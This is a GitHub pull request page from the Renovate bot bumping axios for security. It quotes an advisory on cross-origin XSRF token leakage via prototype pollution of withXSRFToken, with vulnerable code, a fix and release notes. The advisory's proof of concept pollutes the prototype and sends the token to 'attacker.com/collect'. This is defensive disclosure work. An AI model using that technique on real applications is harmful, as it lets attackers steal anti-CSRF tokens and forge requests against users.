Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE
  • CWE-201: Insertion of Sensitive Information Into Sent Data
  • CWE-183: Permissive List of Allowed Inputs
CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Value Justification
Attack Vector Network PP triggered remotely via vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required None No authentication needed
User Interaction Required Victim must use browser with axios making cross-origin requests
Scope Unchanged Token leakage within browser context
Confidentiality Low XSRF token leaked — anti-CSRF token, not session token
Integrity Low Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability None No availability impact
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

  • true → always send token (explicit cross-origin opt-in)
  • false → never send token
  • undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

  • All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
  • XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
  • Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
  • Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

  • Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
  • XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
  • Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: corrected CVSS, documented limitations
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

axios/axios (axios)

v1.15.2

Compare Source

This release delivers prototype-pollution hardening for the Node HTTP adapter, adds an opt-in allowedSocketPaths allowlist to mitigate SSRF via Unix domain sockets, fixes a keep-alive socket memory leak, and ships supply-chain hardening across CI and security docs.

🔒 Security Fixes

  • Prototype Pollution Hardening (HTTP Adapter): Hardened the Node HTTP adapter and resolveConfig/mergeConfig/validator paths to read only own properties and use null-prototype config objects, preventing polluted auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser from influencing requests. (#​10779)
  • SSRF via socketPath: Rejects non-string socketPath values and adds an opt-in allowedSocketPaths config option to restrict permitted Unix domain socket paths, returning AxiosError ERR_BAD_OPTION_VALUE on mismatch. (#​10777)
  • Supply-chain Hardening: Added .npmrc with ignore-scripts=true, lockfile lint CI, non-blocking reproducible build diff, scoped CODEOWNERS, expanded SECURITY.md/THREATMODEL.md with provenance verification (npm audit signatures), 60-day resolution policy, and maintainer incident-response runbook. (#​10776)

🚀 New Features

  • allowedSocketPaths Config Option: New request config option (and TypeScript types) to allowlist Unix domain socket paths used by the Node http adapter; backwards compatible when unset. (**[#​10777](https:/

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] chore(deps): update dependency axios to v1.7.4 [security] - autoclosed Dec 8, 2024
@renovate renovate Bot closed this Dec 8, 2024
@renovate renovate Bot deleted the renovate/npm-axios-vulnerability branch December 8, 2024 18:29
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] - autoclosed chore(deps): update dependency axios to v1.7.4 [security] Dec 8, 2024
@renovate renovate Bot reopened this Dec 8, 2024
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 7752fb7 to 5333e0e Compare December 8, 2024 21:58
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 5333e0e to c02ff0f Compare March 8, 2025 06:07
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] chore(deps): update dependency axios to v1.8.2 [security] Mar 8, 2025
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from c02ff0f to fdee9b1 Compare March 28, 2025 18:06
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.8.2 [security] chore(deps): update dependency axios to v1.7.4 [security] Mar 28, 2025
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from fdee9b1 to 68e5423 Compare May 19, 2025 20:04
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 68e5423 to ed4eda4 Compare June 22, 2025 13:09
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from ed4eda4 to 059f498 Compare August 4, 2025 23:52
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 059f498 to b60bb02 Compare September 25, 2025 13:47
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from b60bb02 to fe552a3 Compare November 11, 2025 00:10
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from fe552a3 to c4f2cfd Compare November 18, 2025 12:08
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from c4f2cfd to a894c2a Compare February 2, 2026 15:01
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from a894c2a to c090939 Compare February 12, 2026 16:46
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from c090939 to 872e118 Compare March 5, 2026 15:12
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] chore(deps): update dependency axios to v1.7.4 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] - autoclosed chore(deps): update dependency axios to v1.7.4 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 872e118 to ca1610e Compare March 30, 2026 18:07
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from ca1610e to 2c035dd Compare April 8, 2026 19:54
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.7.4 [security] chore(deps): update dependency axios to v1.15.0 [security] Apr 10, 2026
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] chore(deps): update dependency axios to v1.15.0 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] - autoclosed chore(deps): update dependency axios to v1.15.0 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 2c035dd to bd1b763 Compare April 27, 2026 21:41
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from bd1b763 to 423e922 Compare May 5, 2026 20:57
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] chore(deps): update dependency axios to v1.15.2 [security] May 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants